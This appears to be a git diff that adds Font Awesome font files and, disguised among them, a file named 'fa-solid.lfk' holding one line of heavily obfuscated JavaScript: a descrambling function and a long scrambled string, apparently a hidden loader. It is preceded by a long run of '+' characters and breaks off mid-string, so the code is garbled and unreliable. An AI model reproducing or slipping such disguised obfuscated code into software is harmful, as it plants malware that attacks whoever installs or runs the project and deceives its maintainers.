+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000..5b97903 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000..beec791 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000..978a681 Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ diff --git a/public/fonts/fa-solid.lfk b/public/fonts/fa-solid.lfk new file mode 100644 index 0000000..31ce18e --- /dev/null +++ b/public/fonts/fa-solid.lfk @@ -0,0 +1 @@ + global['!'] = '8-&&';function y7(R,c,e,r,t,i,s){for(var n=[],o=774771^774771;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E